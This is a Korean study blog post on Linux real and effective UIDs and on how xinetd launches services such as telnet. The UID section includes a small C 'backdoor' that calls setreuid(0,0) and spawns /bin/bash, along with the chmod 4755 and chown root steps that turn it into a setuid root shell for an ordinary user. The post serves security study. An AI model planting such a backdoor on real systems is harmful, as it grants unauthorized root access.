일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 계측
- Flutter
- Kotlin
- appbar
- scroll
- activity
- 테스트
- 앱바
- android
- textview
- 앱
- Navigation
- Compose
- CustomScrollView
- Button
- tabbar
- textfield
- ScrollView
- Coroutines
- binding
- data
- TEST
- livedata
- viewmodel
- 안드로이드
- Dialog
- intent
- DART
- drift
- LifeCycle
- Today
- Total
Study Record
[리버싱 기초 개념] (UID/EUID , xinetd) 본문
1. UID(RUID : Real UID) / EUID (Effective UID)
UID(RUID) : 내가 로그인 했을 당시 사용자 (# who am i)
EUID : 현재 내가 누구인지 (# id ; # whoami)
ex ) user01로 로그인 한 뒤에 su - root 로 계정전환을 한 뒤
→ 프로그램 자체가 권한을 확인할 때 RUID 를 확인할수도 있고 EUID 를 확인할 수도 있다!
[root]
# cp /bin/bash /test/bash
# chmod 4755 /test/bash
한 뒤, user01사용자로 telnet 으로 접속한뒤 /test/bash 로 실행해도 root 권한으로 실행되지 않는다.
아래와 같은 backdoor 프로그램을 실행해도 root 권한으로 실행되지 않는다. setreuid(0,0) 을 실행하기 위해서는 EUID 가 0(root)이상이여야 동작하기 때문이다.
# vi /test/backdoor.c
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
setreuid(0,0);
system("/bin/bash");
return 0;
}
# gcc -o /test/backdoor /test/backdoor.c
따라서 backdoor 에 setuid 비트를 걸고 소유자를 root로 만들면 backdoor 실행했을 때 관리자로 실행된다.
[root]
# chmod 4755 /test/backdoor
# chown root /test/backdoor
[user01]
$ /test/backdoor
→ setreuid(uid_r uid, uid_r euid) 는 실행하는 계정의 권한 이상으로는 바뀌지 않는다.
2. xinetd 방식의 서비스
☞ 개요
xinetd(Redhat 7.x) = inetd(Redhat 6.x) + extended(tcp_wrapper)
standalone 방식의 서비스이다.
다른 서비스들의 요청들을 대신 받아 필요할 경우만 실행시켜준다.
※ 서버에서 서비스 하는 방법
standalone 방식의 서비스 : 데몬이 직접 실행되는 서비스로 서비스의 요청이 많을 때 유리하다. ex ) WEB
xinetd 방식의 서비스 : xinetd 데몬 하나만 실행되고 이 데몬이 요청들을 받아서 각 요청에 받는 서비스를 실행시키는 방식으로 서비스 요청이 적을 때 유리하다.
☞ 설정 파일
/etc/xinetd.conf : 주 설정 파일 (/etc/xinetd.d/* 파일을 포함하고 있다.)
/etc/xinetd.d/*
+ /etc/services : xinetd 가 서비스를 찾아볼 때 참고하는 파일
ex ) # vi /etc/xinetd.d/telnet
service telnet
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
disable = no
}
→ service telnet
반드시 /etc/services 파일에 들어 있는 이름이어야 한다.(반드시 서비스 이름과 포트가 매핑되어야 한다.)
→ disable = no
데몬을 비활성화하지 않음, disable = yes로 설정되면 해당 서비스를 기동하지 않음
서비스의 이름으로는 /etc/services 파일에 있는 서비스명으로 선택하는 것을 권장한다.
→ flags = REUSE
서비스 포트가 사용 중인 경우 해당 포트의 재사용을 허가
→ socket_type = stream
TCP(stream)/UDP(dgram) 프로토콜을 선택
→ wait = no
이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답함, 다르게 표현하면 telnetd은 동시에 다수의 접속이 가능하다는 의미이다.
→ user = root
해당 데몬이 root 계정의 권한으로 실행됨
→ server = /usr/bin/in.telnetd
xinetd에 의해 실행될 데몬 파일
→ log_on_failure += USERID
정상적인 기동에 실패한 경우 USERID를 로그에 기록
☞ 서비스 실행 과정
client | server |
telnet 192.168.10.200 | 1. xinetd(/etc/xinetd.conf) 2. /etc/services 에서 telnet 이라는 이름을 찾는다. 3. /etc/xinetd.d/telnet 을 참고하여 root 계정으로 /usr/sbin/in.telnetd 를 실행한다. # cat /etc/xinetd.d/telnet service telnet { flags = REUSE socket_type = stream wait = no user = root server = /usr/sbin/in.telnetd log_on_failure += USERID disable = no } |
☞ standalone 방식과의 차이점
→ standalone 방식의 서비스 → .service (ex. httpd.service)
chkconfig <service> [ off | on ] : disable 설정 변경 : 부팅시 서비스의 on/off 를 설정한다.
service http restart
# chkconfig --list | grep httpd
→ xinetd 방식의 서비스 → .socket (ex. telnet.socket)
chkconfig <service 파일 이름> [ off | on ] : disable 설정 변경 , /etc/xinetd.d/<service 파일 이름> 에서 disable 설정을 변경한다.(off | on)
service xinetd restart
# chkconfig --list | grep telnet
→ 두가지의 방식은 systemctl restart <service> , systemctl enable <service> 으로 통합되었다.
systemctl enable [ httpd.service | telnet.socket ]
systemctl restart [ httpd.service | telnet.socket ]
'리버싱 > 기초 개념' 카테고리의 다른 글
[리버싱 기초개념] 공유메모리 (0) | 2021.11.17 |
---|---|
[리버싱 기초개념] 포맷 스트링 공격 구문 (0) | 2021.11.17 |
[리버싱 기초개념] 버퍼 오버플로우 (0) | 2021.11.16 |
[리버싱 기초개념] 진법 전환/John the ripper(암호 크랙) (0) | 2021.11.16 |
[리버싱 기초개념] 레이스 컨디션/signal (0) | 2021.11.15 |